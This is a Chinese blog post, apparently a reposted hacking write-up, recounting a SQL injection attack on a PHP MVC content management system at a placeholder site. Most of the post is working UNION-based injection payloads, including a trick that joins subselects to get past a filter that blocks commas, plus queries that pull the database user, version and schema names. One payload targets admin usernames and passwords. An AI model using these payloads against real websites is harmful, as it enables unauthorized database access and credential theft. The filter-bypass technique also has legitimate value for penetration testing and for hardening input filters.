最新消息:

屌智硬之mysql不用逗号注入

MySQL注入 admin 4123浏览 0评论

某网站:http://www.evil.com/

发现是某php用mvc写的开源cms,翻代码找到个注入点可以使用union注入。

http://www.evil.com/index.php?xxx=xxx&xxx=xxx&id=1

构造语句

屌智硬No.1

http://www.evil.com/index.php?xxx=xxx&xxx=xxx&id=-1 union select concat(username,0x20,password),2,3 from xx_admin

返回错误,心想不应该啊,难道是表前缀改了?删除from xxx_admin依然不行。研究到半夜,在某评论框输入 ‘ ” < > \ / ,时发现过滤了,

当时豁然开朗 继续构造

http://www.evil.com/index.php?xxx=xxx&xxx=xxx&id=-1 union select * from ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)

返回正常,替换select 1为select user()爆出数据库用户名。

屌智硬No.2

继续构造

http://www.evil.com/index.php?xxx=xxx&xxx=xxx&id=-1 union select * from ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c) from information_schema.SCHEMATA

继续报错。。擦 什么情况,难道不支持information_schema?mysql <4 ?

查看数据库版本 select version()

返回5.xxxx 是支持information_schema的。

难道是没权限?替换为 from xxx_admin同样报错。思路陷入僵局。

屌智硬No.3

本地搭建该cms 在phpmyadmin中测试

select * from xxx_admin where id = -1 union select 1,2,3正常

select * from xxx_admin where id = -1 union select 1,2,3 from information_schema.SCHEMATA 一样报错。。

嘎。。什么情况,继续调试xx分钟,在mysql中测试正常。 WTF!!!

继 续select * from xxx_admin where id = -1 union select * from ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c) from information_schema.SCHEMATA报错

猛一发现union select * from中已经存在from,在后面继续跟from肯定是不行了,我了个大撒比。

那么跟到哪呢,翻mysql手册无果。。抽根烟出个翔。。搞定

select * from xxx_admin where id = -1 UNION SELECT * FROM ((SELECT group_concat(SCHEMA_NAME) from information_schema.SCHEMATA)a JOIN (SELECT 2)b JOIN (SELECT 3)c)

哦!谢特,天亮了。睡觉

转载请注明:jinglingshu的博客 » 屌智硬之mysql不用逗号注入

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (1)

  1. 使用join来突破对逗号的限制
    admin11年前 (2014-07-01)回复